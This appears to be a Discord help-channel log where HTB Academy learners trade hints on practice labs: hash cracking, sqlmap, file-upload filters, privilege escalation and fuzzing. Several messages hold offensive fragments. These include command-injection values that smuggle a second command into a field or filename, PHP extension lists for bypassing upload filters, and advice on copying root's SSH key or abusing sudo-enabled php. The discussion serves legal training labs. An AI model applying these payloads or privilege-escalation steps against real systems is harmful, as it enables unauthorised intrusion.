rustic sage
lyric inlet
#

Hi 🙂

#

Anyone for the file upload skills assessments ?

dusk bronze
# rustic sage Need help?

I’m virtually done, but thanks for offering.
It was quite a rough journey because instructions are so unclear (at least for me), and I find myself strengthening my BASH in this module rather than password cracking lol

rich plover
#

who can help me with a c ++ problem?

mint karma
mint karma
rustic sage
rich plover
rich plover
# mint karma I will give a try

At a nightclub there are M boys and N girls. Determine the possibilities in which boys can invite girls, so that two boys do not invite the same girl, and each boy dances (N> = M).

rustic sage
#

verify urself with /verify then

mint karma
#

do you have the N amd M values?

rich plover
mint karma
mint karma
#

but I guess it would be N*M

rich plover
#

do as you know

lyric inlet
#

Anyone for Files Uploads skills assessment ? 🙂

dusk bronze
# rustic sage Need help?

I revise myself, I do need help. I went to sleep thinking that the rest would be easy peasy, was unsurprisingly wrong.
In the common hashes section, the given hash is obviously ||NTLM||, so mode ||1000|| it is.
After that I tried to apply common rules that wouldn't take longer than a few minutes, out of which the outstanding one was ||base64.rule|| in the hashcat rule built-in rule set.
Now I'm stuck, after trying different hybrid modes, including ones that were obvious, I'm still failing.
I tried some random hybrid modes such as ||-a 6, while the appended mask is ?d?d|| , and still failed.
Would appreciate any little hint. Currently stuck for over 10-15 minutes on it.

#

jesus fking christ I solved it literally 1 minute after asking for help

#

LOL

#

proof that you shouldn't over complicate thigns

white iron
#

Hey guys! Can someone help me with the "Skills Assessment - SERVICE LOGIN" from the module "LOGIN BRUTE FORCING"? I tryed all possible custom username- & password-lists for days, but not making any progress. Even more i think i get more confused by every hour i invest, as at some point i lost lost a little bit the overview of what i tried and what not...Greets

rustic sage
#

hello

mint karma
#

starts with h

rustic sage
#

wait are you talking about trogon horse virus

#

hmmm

vital bough
#

Anyone help with LFI assesment? So stuck

still charm
#

hey there! i need help with the priv esc in ||getting started > priv esc || after getting the || lateral movement to user2 ||, can anyone give me some more hints ? thank you ❤️

copper creek
#

I'm so stuck on the getting started module at knowledge check, I gained a shell on the box but idk hot to privesc. I ran linpeas on the box and sudo -l shows nopasswd /usr/bin/php but im lost on what to do 😂 any hints?

copper creek
#

ah man how did i not think of this site, thanks ill have a look and see if i can geti t

copper creek
#

okay i got it, thank you so much inturbidus, that taught me a lesson 🙂

#

i was stuck for 2hrs and and 2 commands fixed it 😄

rustic sage
copper creek
#

yeah i have it bookmarked, but for some reason i didnt think of it

dusk bronze
#

dude the hashcat skill assessment task has some kind of problem

#

I cracked 50% of the passwords, did some Bash scripting for text processing, implemented a python script to return the 10 most frequent passwords, and the 7th most frequent one was the answer

#

I scrolled back here and apparently one dude had the same issue but only his was the 5th most frequent one

dusk bronze
#

I've used hashcat in the past

#

--username was more than obvious to use

rustic sage
still charm
#

hey there! i need help with the priv esc in ||getting started > priv esc || after getting the || lateral movement to user2 ||, can anyone give me some more hints ? thank you ❤️

dusk bronze
#

that's what my python script returned (467 is the amount of passwords cracked, and the list under it is the 10 most frequent words in a descending order)

old storm
#

anyone help with a quick sanity check on Shells and Payloads module? The first question in the section "laudnaum, one webshell to rule them all", has a question about an absolute path. I have the correct answer, but it doesn't seem to want to take it. Any help would be appreciated!

rustic sage
dusk bronze
#

||cut -d: -f2 > passwords||

dusk bronze
#

like was it more than 1?

#

I'm genuinely curious

rustic sage
rustic sage
dusk bronze
#

oh rah

#

that's more than odd

#

||NTLM||?

#

or did you also use ||md4||

#

because they have the same hash characteristics

rustic sage
dusk bronze
#

then we literally did the same thing

#

lemme try ||900||

#

yup still doesn't make sense to me

copper creek
still charm
#

it literally displayed a huge data dump, did not know where to look exactly

copper creek
#

linpeas gives you some visual hints, look at the stuff thats displayed in red

#

also says when you start the script that red is a high pe vector, just read it

rustic sage
dusk bronze
#

currently iterating over the results with less -FX

#

okk

#

when manually iterating through it with less -FX I can definitely see it repeating

#

it's odd that my python script didn't recognize it tho

#

so for some reason something which was not in my control filtered repetitive passwords

#

what that might be?

rustic sage
dusk bronze
#

that's so odd

#

because I ran it with --username, and then after it finished cracking what it could, I ran it another time with --show which I then used bitwise or operators | to perform virtually the same thing you did but with less bash and more python

#

when running with both --show and --username in the same command, it doesn't filter the results

still charm
dusk bronze
#

I liked your bash script, creative

#

onto sqlmap I go, meet you on the other side

still charm
#

guys, i need help with this

#

hey there! i need help with the priv esc in ||getting started > priv esc || after getting the || lateral movement to user2 ||, can anyone give me some more hints ????

#

i tried linpeas but none of them seem to work, or i can't get to copile any priv esc exploits that i searched and got on the web

#

HELP ?????

serene osprey
rustic sage
rustic sage
still charm
#

i did as user1 then did "sudo -u user2 /bin/bash"

#

i dont have the password for user2

rustic sage
fickle helm
#

need some help with skills assessment with FFUF

#

i found 3 sub-domains but i cant access them

#

need iput if i have them right on my host file

rustic sage
still charm
rustic sage
fickle helm
#

i found 3 sub-domains. i have to input those domains in my host file with the ip to access correct?

#

one of the questions is "Before you run your page fuzzing scan, you should first run an extension fuzzing scan. What are the different extensions accepted by the domains? (Write the extensions as '.ext', in alphabetical order separated by spaces ".ext1 .ext2 .ext3")"

fickle helm
#

when i run a scan for ext. i get an error

#

so i tried accessing those domains on the browser but i cant access them

#

so i am thinking i am getting an error do to not having the right host file input

rustic sage
fickle helm
#

correct then i have it right. So now i am thinking i have the wrong command

rustic sage
fickle helm
#

okay. give me a minute

still charm
rustic sage
rustic sage
still charm
#

ssh exploit , to reconnect as root directly ?

rustic sage
still charm
#

it's not giving me much tbh

rustic sage
#

If we can read the /root/.ssh/ directory and can read the id_rsa file, we can copy it to our machine and use the -i flag to log in with it
Quote from that page.

still charm
#

nevermind! GOT IT ❤️

rustic sage
still charm
#

yes

#

thank you friend ❤️

rustic sage
dusk bronze
#

isn't sqlmap considered lazy in the real world?
I get that it's an awesome tool, but wouldn't offensive-Sec employers expect me to be able to manually perform every injection sqlmap has implemented within itself?

dusk bronze
#

talking about sqlmap, I'm in the attack tuning section, I captured the flag of the tables flag6 and flag7, but I can't capture flag5's.
I ran it at first with ||--level 5 --risk 3||
I mean, I get the flag5 table returned when running sqlmap, and it has columns and everything, but it returns an empty table.
So, I immediately thought that it might be an ||OR|| injection, so removed the ||--level 5 and kept the --risk 3 since OR requires a high risk level||, but that still returned an empty table.
So, I tried adding features such as ||union manipulation (such as --union-from and even --union-col)||, tho it didn't help.
Would love any hints/explanation why that might occur so I could further attack this issue.
(safe to mention that I tried manually injecting the payloads that mapsql pointed to during the detection, and no flag appeared there as well)

chrome thistle
#

OSINT Corporate Recon: Im struggeling with the format of the latitude and longitude coordinates of the first task within "Locations". Can anyone help me with the format?

rustic sage
#

Hey guys, about to get a obdo port II what canbus tools would you recommend in order to drive with a console controller ?

lament rampart
bronze patrol
#

Any help with the "What command would she type to serve the shell..." question of the Shells and Payloads module would be appreciated. I have a command that works, but it does not accept it as the correct answer (does not give me the "Incorrect answer!" popup either though)

Talked with support. Apparently might just be a technical issue

mint karma
#

Anybody on hacking wordpress module skils assessment?

gilded crest
#

“Hit [Ctrl + R] to send this to Repeater so that we can look at the response.”
What does that mean? What’s repeater? Is that a Firefox shortcut to resend a URL?

dusk bronze
mint karma
#

I tried to run a wpscan but it gave this

#

I suppose the wp-content is renamed

soft grotto
#

Looking for a little hint:

On the "web Proxies" module, I'm on the section where you are using Burp to fuzz for .html files to find the flag under /admin/.

Should I be using the same wordlist or should I be using a modified version? Since I can't seem to find the file within the time limit, I assume I'm missing something.

bright kayak
#

Hi

#

am getting error while I run the python script on Linux Machine (10.10.10.3)
File "usermap_script.py", line 8, in <module>
from smb.SMBConnection import SMBConnection
ImportError: No module named smb.SMBConnection

haughty pendant
#

Hey, has anyone managed to get the dns-axfr.py script running from module 27, DNS Enumeration Using Python?

#

I finally managed to get it to throw exception errors, needed to install dnspython3, but I'm still unable to resolve ns1.inlanefreight.htb and ns2.inlanefreight.htb. domain has been added to my /etc/hosts

#

Actually, managed to get past my initial errors (did a restart of my kali instance after adding the nameservers to my hosts file). However now I'm getting a different exception:

$ ./dns-axfr.py                            
[+] trying AXFR with nameserver: ns1.inlanefreight.htb on domain: inlanefreight.htb
[Errno 113] No route to host
[+] trying AXFR with nameserver: ns2.inlanefreight.htb on domain: inlanefreight.htb
[Errno 113] No route to host
No subdomains found.
#

Ahhh managed to get it. Had to respawn the machine and reconnect my vpn 🙂

rustic sage
#

hey

#

Hey there! I am stuck on the file upload attacks module, the whitelist filter section. I can upload the shells but I can't run any of them. I've tried the following extensions for my shell .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc. No one of them works though. Any hint would be appreciated.

mellow grove
#

can anyone help with the intro to python course, i'm stuck on the 'further improvements' slide and can't seem to get my script to work

rustic sage
#

Nevermind my question I figured it out

dusk bronze
#

damn why is the skill assessment of sqlmap so fking long - literally takes 10 seconds to pull a word of size 10 characters, and I'm on a pwnbox! lmao

#

alrighty, got it

#

still odd that they expected us to just randomly pick a ||tamper script||. I only got it because I remembered in one section that they talked about the most popular ||tamper script|||.

river bolt
#

Original problem with open VPN: ERROR: Cannot open TUN/TAP dev /dev/net/tun: No such device (errno=19)
I tried using: modprobe tun ,but this is what i get
FATAL: Module tun not found in directory /lib/modules/4.4.0-19041-Microsoft
I also tried: find /lib/modules/ -iname 'tun.ko.gz'
but nothing was found
When I tried: insmod /lib/modules/3.6.9-1-ARCH/kernel/drivers/net/tun.ko.gz
I get this: insmod: ERROR: could not load module /lib/modules/3.6.9-1-ARCH/kernel/drivers/net/tun.ko.gz: No such file or directory

novel matrix
river bolt
dusk bronze
#

Is there any module for teaching wireless attacks?

#

Been iterating over module descriptions this past few minutes and can't seem to find one going in depth on wireless attacks

mint karma
fiery dirge
#

Hey, My internet is not working in my Workstation. And now i am on introduction to the Academy. I am a beginner... Can someone help to get rid of this problem

dusk bronze
dusk bronze
rustic sage
faint gate
#

Hi. I have some problems, i created a new account on HTB Acamedy, when i subcribe to one month plan, i received a bill but nothing change on my account, always my account is on free plan

faint gate
acoustic owl
#

Have you found a solution? I am in the same place.

mint karma
still yacht
#

is there a chance to have a vpn instead of going with the machine in the browser so it runs smoother 🙂

acoustic owl
#

Did you make it?
I am stuck in the same place

dusk bronze
dusk bronze
hollow horizon
#

Has anyone completed the Main Function task in DNS Enumeration using Python?

#

The Task is asking me to perform a zone transfer using the DNS-AXFR.py script. I've updated the url to .htb but nothing comes back. Am I missing something?

rustic sage
runic rampart
#

Friends who can help with Windows Local Privilege Escalation? The last two modules.

dusk bronze
cyan pulsar
#

Please can anybody help me, I am stuck on the Getting Started Module | Privilege Escalation: The question is as follows: SSH into the server above with the provided credentials, and use the '-p xxxxxx' to specify the port shown above. Once you login, try to find a way to move to 'user2', to get the flag in '/home/user2/flag.txt'.

#

I solved it by login through the ssh and then changing the user using su - command

#

but the other questions asks for: Once you gain access to 'user2', try to find a way to escalate your privileges to root, to get the flag in '/root/flag.txt'.

#

I tried copying the contents of the id_rsa file as i had the read access and then i tried logging in using the same using the -i paramenter. But it's still asking me for the password of user two.

#

Just to mention: I restricted the id_rsa permission using chmod +600. I also checked if i have copied everything correctly using wc -l command

#

Any help would be very much appreciated. Thanks in anticipation.

slow kayak
#

Anyone available to give me a nudge on the skills assessment on SQLi?

copper creek
raven scarab
#

Hi all! I am doing the skill assessment for the Getting Started module. I have RCE and have confirmed that my attack box is reachable (pinging my ip using said RCE works), but when I try and spawn a reverse TCP shell, I cant seem to get a connection on the port im listening on :/ is there something obvious I may be missing?

cyan pulsar
#

@copper creek with user2@ip

slow kayak
copper creek
cyan pulsar
#

@copper creek Thanks alot brother

#

@copper creek i just tried ssh using root@ip and it worked. I got the root.txt finally. Thanks again

opal quarry
#

.

vale geyser
#

Hey i'm stuck on the Skill Assessment in Academy Directory Traversal, can someone help me?

fiery dirge
hardy halo
#

so I'm at the end of the Stack-Based Buffer Overflows on Linux x86 module and the last question is killing me "Read the file "/root/flag.txt" and submit the content as the answer." could someone give any tips on it ?

soft grotto
scarlet finch
eternal relic
soft grotto
cinder kelp
#

Can enyone pls help me with the "Getting Startet WordPress Backup-Plugin" after 5 Days i give up ...

pulsar elm
#

Hey Guys.. I havent been here for a while. It have changed a lot. Where can I ask questions about the modules? Before this had a room for the fundamental/easy/etc.

faint hamlet
#

Hi guys anyone who can help me in wordpress hacking skills assessment i am stuck with metasploit shell upload.

quiet halo
#

I am doing the File Transfer module on HTB Academy and ran into a problem. I am testing the commands by hosting files on my Kali VM and downloading them from my Windows computer. When I run the PowerShell download command, it says unable to connect to remote server. The server IS up because I can go to Kali's IP address or do "localhost" and the files are there. I can download the files on my Kali VM with wget. I also tried going to the Kali's IP address on my phone but the server seems to be down, at least on my phone and windows computer. What does this mean?

main vapor
#

@quiet halo Are they on the same network/subnet?

#

If so, make sure that your Kali VM's firewall is not blocking traffic.

quiet halo
subtle mulch
hardy halo
wispy fern
#

@ebon inlet i found ur retired web chall write up its nice 🙏

hallow oxide
#

stuck in "getting started" module on the "privelege escalation" part. Got from user 1 to user 2, got id_rsa private ssh key from root directory, created on my system id_rsa file with content identical to id_rsa on the target machine, but it doesnt let me connect to root with this key.
it says Load key " "id_rsa": invalid format "
maybe its outdated? or i did smth wrong. btw chmoded id_rsa key, as it says in the hint

#

thats full output with verbose option

drifting knoll
hallow oxide
drifting knoll
hallow oxide
drifting knoll
#

^ solved

hallow oxide
#

👍

pine sable
#

Hello.
Am looking for some help for Broken authentication module, part Predictable reset token question 1.
Am stuck since few weeks at this question, and i really don't understand what i am missing.
I would appreciate some help. Thank's a lot

rich flame
#

Are there any modules that cover ghidra, r2, gdb etc?

stark tapir
#

Hello, how can i get pretty TTY in nibble or in last task of module Getting Started? There are no python avaliable oh target pc, so i couldn't use python -c 'import pty; pty.spawn("/bin/bash")'. Answer: look for python3.

red obsidianBOT
#

@quick trellis I'm not able to DM you the instructions. Please check your Discord DM security settings and try again.

visual sage
#

the machines of the academy don't works

pulsar elm
#

Hey guys. Im doing the module "WINDOWS FUNDAMENTALS" in the "Skills Assessment - Windows Fundamentals" is asked to create a security group but in my search it can only do it in windows server. Can you help me?

copper creek
pulsar elm
#

I can but not with the security. Just a normal group

copper creek
pulsar elm
#

Well I tried with the normal group and the correspondent Sid wasn't the correct answer

twilit bluff
#

Heya, y'all. I'm doing the 'Getting Started' module and the Public Exploits class. Aside from some other issues I'm having, I think Netcat's decided it now just hates me. If I attempt to use it, it returns nothing at all, then exits as in the screenshot attached. I've tried restarting the terminal and the VM to no avail, and I'm certain 53 is an open TCP port. Any help or advice would be much appreciated.

twilit bluff
#

ahh, i did try that and it didn’t work, think i tried -q 20 too and still the same

main vapor
#

How about telnet, what happens when you opt for it?

twilit bluff
#

apologies, i’m pretty new;; how would i do that?

main vapor
#

Before that, try: nmap -p 53 46.101.51.163

#

And see if you get a hit

#

For telnet: telnet 46.101.51.163 53

twilit bluff
#

i seee, lemme give that a shot!

#

had to restart target so ip is different, but here's the responses;; this is what comes back

#

where do i go from here if i'm trying to grab the banner?

main vapor
#

If by banner you mean the message then it should appear once you connect.

twilit bluff
#

Hm,, I'd presume the 'connection closed by foreign host' is an issue, cause nothing came up before that..

main vapor
#

Though this might be the wanted behavior by the host, so you need to know whether you are supposed to connect to that service or not.

twilit bluff
#

fair point, i'll scan some of the others

#

they all came back with connection error 10060, which is a timeout i believe

cinder kelp
#

I Need help … i am in the Academy and suck with the first Problem …. I have a target with wordpress simple backup but the exploit gives me a error:( i try now 6 days with that exploit

#

I am in the Getting Started tab:(

twilit bluff
meager rivet
#

Could someone please help me out? I'm totally new to this and I don't understand what answer they are looking for. Keep in mind this is in the super beginning part of the learning academy, so specialized attacks like brute force can't be it. It's gotta be something super simple, and I'm just overthinking it...or am just that dumb....

#

Send a GET request to flag.php with two parameters num1 and num2 such that their sum is 1337.

obtuse nebula
#

Could someone help me with the module of Wordpress ( skill assessment) I’m stuck in the question of getting the shell I did a brute force but it didn’t work so I don’t know where could I get the passwords

meager rivet
#

I'm not that far yet, but if you have a hash you could use cyberchef

cinder kelp
rustic sage
pulsar elm
#

it is suppose to have something here?

twilit bluff
#

Ok so it turns out I was a dumbass and didn't need netcat, but I've got one last issue to overcome. I've found the right exploit to use for the metasploit (i'm certain it's correct, it's the plugin plastered all over the webpage), but this is the only return I get when I run it; no output of any sort is printed. Here's the options and the output I've got every time. I've tried setting the port to 80, setting the path to '/flag.txt', but no avail on anything so far.

#

Any help would be sincerely appreciated.

twilit bluff
#

Ah, apologies! Module is Getting Started, task is Public Exploits:

rustic sage
twilit bluff
#

Mhm, I've tried that and it's done the same; not come back with a result.

rustic sage
stark tapir
twilit bluff
#

Gods I feel so dumb ahahah-

stark tapir
#

u will get a list of opened ports with services names, after that go to msfconsole and find exploits for found services. Some of then requer certain version of service. Look for exploits whcih grant u remote acccess. If u found one of exploit then use it.

#

if opened service is httpd - web server so go in browser and paste ip adress of target, then look source code maybe u will see something interesting

#

for example path to go next, then scan with gobuster for plugins and search exploits in msfconcole for that plugin

stark tapir
#

Who can explain nmap's option -Pn? Why without this option sometimes nmap cant scan host?

main vapor
#

@stark tapir man nmap

gilded crest
#

In the Navigation section of Linux Fundamentals. The first question begins with “SSH to with user ‘htb-student” and password ‘HTB_@cademy_stdnt!’ “ SSH to what? Did I miss something?

pine bough
pine bough
#

then enter the password when it prompts

#

u to do so

pine bough
gilded crest
#

Thank you. I used my VPN IP. Is that right? Accepted the warning, but then it didn’t accept the password.

pine bough
#

not yours

gilded crest
#

Oops! Duh

pine bough
#

yea

lethal atlas
stark tapir
drifting knoll
stark tapir
stark tapir
drifting knoll
#

try it out

stark tapir
#

ok

exotic river
#

Random question about the academy 'cubes' as the site doesn't really explain it at all. Can I just ignore the whole subscription thing and just buy cubes to access the Junior Pen testing track? There seems to be no indication as to how much Pwnbox usage comes with just buying cubes (if any), but I'm assuming you must have them in order to actually do the course content.

exotic river
lethal atlas
exotic river
lethal atlas
#

I havent worked up that far, just started tier 1

exotic river
#

Me either, I was just trying to decide between this product and the TryHackMe one, so I was looking at the entire learning journey to see what would be available. I'm guessing the academy is quite new though, since a lot of the content says 'coming soon' and a lot of the onboarding isn't very well thought through. Maybe they just need time to improve.

lethal atlas
#

I have tried the PEH course from cybermentor and I like this quite a bit better. I feel like they do well on giving you basic info but this bash thing I am stuck on is killing me lol

exotic river
lethal atlas
#

you get 40 cubes for free to start. that will get you thru all of tier 0

broken saffron
#

Hello everyone

#

I was wondering if there is any support group with write ups the modules htb academy?

#

I am trying to solve the module of cross-site scripting XSS and web attacks but I run into doubts and little support in the intro

#

I have been looking for support in other forums like reddit but apparently it is not as popular academy as tryhackme in topic of solutions or community of support

sterile hawk
#

I believe we don't allow writeups for modules above tier 0

broken saffron
#

Thanks I did not know that rule

crimson path
#

Anyone free to chat re the knowledge check in getting started mod? Having an issue with msfconsole I'm not sure about and the Google has failed me

solar zodiac
#

hi everyone!

solar zodiac
#

I'm having trouble finding the VPN file to connect to HTB academy

#

can anyone advise :)?

high zinc
solar zodiac
#

it worked!

high zinc
#

😄

solar zodiac
#

oops wrong channel lol

#

😄

#

I dont see the vpn key option 😦

#

the normal htb vpn gives me access to the box though

#

oh wait, I can access the box from outisde the vpn

#

haha 😄

#

thanks @high zinc

#

im dumb lol

high zinc
#

I don't blame you, so am I

solar zodiac
#

hmm... whats strange is that I cant get a callback on my netcat listener

#

or tcpdump looking for icmp

#

hehe 🙂

#

loving academy so far though 😄 the content is awesome

#

I never even knew ssi existed

#

facepalm lol

hasty nebula
#

😆

lucid veldt
#

this one is on firefox 🠖

#

now the Safari

copper creek
#

can someone help on the web proxies skills assesment? doing smth wrong when trying to fuzz the last character of the decoded md5 cookie

main vapor
#

@copper creek DM.

opaque marlin
#

any news when the junior program will have all the modules completed

chrome thistle
#

Hi, i get the error "Exploit aborted due to failure: unexpected-reply: Failed to upload the payload" on attacking wordpress (attacking common webapplications module) at question 4:Following the steps in this section, obtain code execution on the host and submit the contents of the flag.txt file in the webroot. What do i wrong?

humble kestrel
#

same, already got XXE, but seems RCE it's needed to get to the flag

#

feel free to DM anyone troubled with File Uploads module

gleaming spindle
#

If you notice that some part must be marked as "spolier" just tell me. This is my first post.
Hi community I'm having a hard time with the "POST method" section from "web requests" module.
What I have figured out until now:
1- I make a POST request with login data.
2- The server says, "ok I can recognize your credentials here is your cookie for further
communications"
3- I inspect that cookie to see if I can change something to make the server believe that
I am another user.
4- I change a part of the cookie and send a GET request with the modified cookie.
5- The server response with the admin/dashboard.php greeting me with my modified data in the html.

Problems:
1- 0 clue about what is the expected answer.
2- No matter if i try with the user "iloveham" the server response is a kindly greeting.
3- I have tried to decode the part next to the user: xxxxxx_hash but with no success.
4- I have compared the reponses from the server in two scenarios, first: without altering the cookie
second, changing part of the cookie, and the responses are exactly the same.

This part is useless but helps to self pity:
I have give at least 3 hours during 6 days to this excersise.
I have read about cookie poissoning. (to gain a big picture view about the subject)
I have read about how php encrypt or encode. (to try to reproduce the hash part of the cookie)
I have read about encoding to produce a hash like the one provided by the excercise. (at least with the same structure, length and sum for example)

ANY kind of guide will be very very appreciated.

main vapor
#

@gleaming spindle You don't need to waste 18 hours for one question. DM me.

gleaming spindle
#

@main vapor is a certified noobs rescuer

icy mist
#

im kind of stuck in this exact same question, can i dm for a tip ?

main vapor
#

@icy mist DM me.

acoustic owl
#

Have you found a solution to the problem?
I am stuck here too. Do you have a hint for me?

main vapor
#

@acoustic owl DM me.

solar zodiac
#

Hi everyone! I have a question about the SSI module. I used burp, and none of the traffic I captured had the .shtml .shtm or .stm extensions. I thought this was needed to parse SSI and do an SSI injection.

#

If anyone could help me understand, I would greatly appreciate it

#

🙂

misty remnant
#

I have a question to the mdoule 35 GET-Methode, pls dm

stark tapir
#

Ask your question

misty remnant
#

Send a GET request to flag.php with two parameters num1 and num2 such that their sum is 1337., this is the question and i try a lot of things but nothing is correct.

rustic sage
#

you'll find it

#

easily

misty remnant
#

i guess i shouldn't do it with curl

main vapor
#

Just use your browser, that should do it.

shut grail
#

Folks, I can't send any message to any other channel as I recently joined.

However, I wanted to clarify something out, I directly connected to HTB without a VM briefly and then realized, do you think I put myself at big risk? What can I do now?

solar zodiac
#

hi everyone! Is there a specific channel for certain modules in the academy?

#

I only see modules and erratum on my discord

solar zodiac
#

academy is awesome 🙂

#

I saw an assembly module but didnt see a reverse engineering one. Would be awesome to see a module about RE with IDA now that the freeware supports x64 😄

oak summit
#

Anyone here had done dns enumration python module ? Looking for help

slow kayak
#

anyone having issues spawning a target?

quasi wave
#

How long should it take to complete the bug bounty pathway? Also, is doing HTB, Pentesterlab, and Portswigger all at once too redundant?

#

Would doing bug bounty path on HTB academy and portswigger academy be more than enough to begin bug hunting?

serene osprey
#

I'm working on chmod and chown and I had a question. I'm working inside my own box and I created the file 'shell' and I used chmod 777 so everyone can read, write, and execute it. Then I tried chown to change it to root (like the module says) and I get a 'operation not permitted'. If I switch to root, I can run the command. Why can I not run this command as a user?

stark tapir
#

Hi, why command in powershell sc qc wuaserv does'not return anything? Module Windows Fundamental. Ah ok, it works only in CMD.

#

What are CPE credits submission on billing page under Silver Annual subscription?

rustic sage
#

hi guys/ Can anyone help me with academy "BROKEN AUTHENTICATION" ?
I stuck in Guessable Answers

main vapor
#

@rustic sage DM me.

chrome thistle
golden spruce
#

hey i got a question about the Module getting started itś about the last question in the service scanning section. How can i know or test what Bobs weak password is?

rustic sage
#

hello I cant get access to RDP anymore, it worked earlier when I started the course (windows fundamentals 1)

warm quiver
#

Hi, need some help with Web Attacks - Bypassing Security Filters question. Can't get it to work, keep getting 'Malicious Request Denied!' on every method. Even done the skill assessment, but can't get this one

solar zodiac
#

hi guys.. could use a nudge on the skills assessment portion of the Server Side attacks module

#

would really appreciate it 🙂

golden spruce
rustic sage
#

good evening, im currently working on the Section "Service Scanning" in the Module "Getting Started", and when i run the command nmap --script smb-os-discovery.nse -p445 10.129.165.121, my output is
`Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-05 15:00 EST
Nmap scan report for 10.129.165.121
Host is up (0.026s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 3.47 seconds`

#

im missing something like the
Host script results: | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: CEO-PC | NetBIOS computer name: CEO-PC\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2020-12-27T00:59:46+00:00

does someone here know why?

rustic sage
golden spruce
rustic sage
rustic sage
rustic sage
solar zodiac
#

Hi everyone... do the skill assessments at the end of the module cover things out of the scope of the module?

#

lol ok nevermind

#

i need to read better

#

I was trying default app creds instead of the creds from the instructions

unique valve
# stark tapir What are CPE credits submission on billing page under Silver Annual subscription...

Great question. CPE is short for continuing professional education. We have a deal worked out with (ISC)^2 that allows HTB Academy students to earn CPEs towards renewing any (ISC)^2 cert. Take for example someone who has achieved the CISSP certification. They can work through Academy modules and earn credits towards having their cert renewed prior to expiration date. Heres an even more detailed explanation: https://www.hackthebox.com/newsroom/htb-academy-cpe-credits-and-student-subscription

solar zodiac
#

hahaha 🙂

rustic sage
unique valve
quasi wave
#

Would it be reasonable to complete all three in nine months?

unique valve
#

It depends on how much time you can dedicate daily, weekly or monthly.

quasi wave
#

Let’s say I am doing it six hours a day most days

#

Because I have a lot of time on my hands

unique valve
#

I bet youd get through it in 9 months at that rate but again dont focus too much on how fast you get it done. Focus more on how well you understand the content.

quasi wave
#

Ok got it

#

Thanks for the advice

unique valve
#

No problem feel free to ask when you have questions. Good questions help everyone get better imo.

solar zodiac
#

man academy is awesome 😄

unique valve
#

Thanks. We are hard at work making sure each module is excellent. Keep the feedback coming, it helps.

river juniper
#

Hey =)) Any tricks for bypass NoMachine Connection on Shell and payloads Module in the live engagement section ??? Can't ssh the FootHold VM

echo willow
#

Is the target spawning for XSS Phising broken? I can't do anything with the target

rustic sage
#

im new

drowsy rapids
#

greeting earthlings

rustic sage
#

hi

stark tapir
#

Hello, i need help with HTB box Horizontall, i found a flag, but can't submit it on site, because button is grey, any advice?

warm quiver
#

Hi, could use some help with Web Attacks - Bypassing Security Filters, can't bypass the command injection filter. I think I've tried all verbs now.

warm quiver
stark tapir
warm quiver
modest violet
#

Hi, I'm having trouble answering the module "command injections" section "Bypassing Other Blacklisted Characters" with the following question: Use what you learned in this section to find the name of the user in the '/ home' folder. What user did you find ?. I have tried multiple answers without being able to get results, the payload that I think should work is: "127.0.0.1 ${LS_COLORS: 10: 1}${IFS}ls${IFS}${PATH: 0: 1}home" , but I get no result, I have also tried to replace the semi-colon with the Character Shifting technique but some characters are blacklisted. Could you help me? I've been with this answer for two days. Thanks

modest violet
mint karma
#

Anybody finished hacking wordpress

#

I am in skills assessment

#

Wpscan scan shows host is not running wordpress

warm quiver
warm quiver
pulsar elm
#

Can someone explain me this ? I understand the sed command but not the rest of it.

unique valve
low echo
#

Has anyone here done the OSINT module? I might be missing something but I'm struggling on the lat/long

mellow shadow
#

Why do i have to pay for 2 virtual machines?

river juniper
urban sage
main vapor
warm quiver
#

Anyone done Web attacks recently? Can't get that one, and I'm out of ideas, any help appreciated - To get the flag, try to bypass the command injection filter through HTTP Verb Tampering, while using the following filename: file; cp /flag.txt ./

hasty iris
#

Hey guys I'm doing the osint: corporate recon. I got the coordinates for the answer fields however every time I hit to submit button it just hangs. Has anybody had this issue? It happens with this symbol ° It is with the fields marked with (format: ... ) Thanks.

sterile hawk
#

English please slightsmile

white iron
#

Hey guys! Would appreciate some help with "Attacking Common Applications - Skills Assessment I". I also did some research here in the forum after a few days without success, but can't ffuf the mentioned directory. would be very happy about a DM!

solar zodiac
#

Hi everyone! I'm stuck on the Skills Assessment for the Server-Side Attacks module. If anyone could help me out I would be forever in your debt 🙂 . Feel free to DM 😄

dusk bronze
#

where can you give a review on a specific module?

solar zodiac
warm quiver
solar zodiac
#

I really like the new server-side attack module! I didn't know SSI was a thing before having gone through the module. Very cool!

wind pebble
#

if anyone has a sec to give a nudge on Getting Started module, section Knowledge Check

#

i'm working on getting a foothold

woeful oxide
#

Hey buddies

solar zodiac
tidal root
#

Hi there is any way to determinate what user is running a service like proftpd, the question is on the "LINUX FUNDAMENTALS" module on "Filter Contents" section, I saw the user on the config file but I want to know if there is another way

#

thanx

violet sparrow
#

@warm quiver hello friend, I was stuck with that sometime until decided to do the exercise with burp instead curl, with curl was impossible but when tried with burp it worked at first attempt....
Now I need some advice with the previous question about POST method, I cannot get the corrwct answer no matter how hard I try...

hasty iris
drifting grove
#

hi

#

how to hack

languid dawn
rustic sage
violet sparrow
#

can someone help me with the POST section of the Web Requests module, I'd already answered all other questions in that module, but this one is laughing at me, the hint points to cook the cookie, but no matter what I put inside it nothing works...

runic rampart
#

Friends who can help with Windows Local Privilege Escalation? The last two modules.

solid vigil
#

Hello I need some help using the ffuf tool, can't get it to bring up the results at the end it runs through the scan fine

rustic sage
plucky nimbus
#

Can anyone help me with the File Upload Attacks? Im stuck with the Type Filters
Dm or ping me

solid vigil
#

Vhost Fuzzing on Attacking Web Applications with ffuf

#

but I had to use gobuster for the previous section ones because of the issue

quaint marsh
#

Information Gathering - Web Edition

quaint marsh
rustic sage
white iron
#

Hey guys! Can someone give me some help with "Attacking Common Applications - Skills Assessment I"? Am stuck there for a few days and running out of ideas how to continue. Greets!

runic rampart
copper creek
west canopy
#

@quick hollow I actually solved it but didn't take any notes so i only vaguely remember what i did. I might have done: ls /

solid vigil
#

Maybe you can dm me, there is an output of everything in seclists but doesn't have the results of which really gives 200 response

#

That's the output

#

Gives status 200 for everything in the wordlist

solar zodiac
#

I wonder if there will ever be a module about fuzzing/vuln discovery through static and dynamic code analysis

#

beyond the vanilla buffer overflow 🙂

#

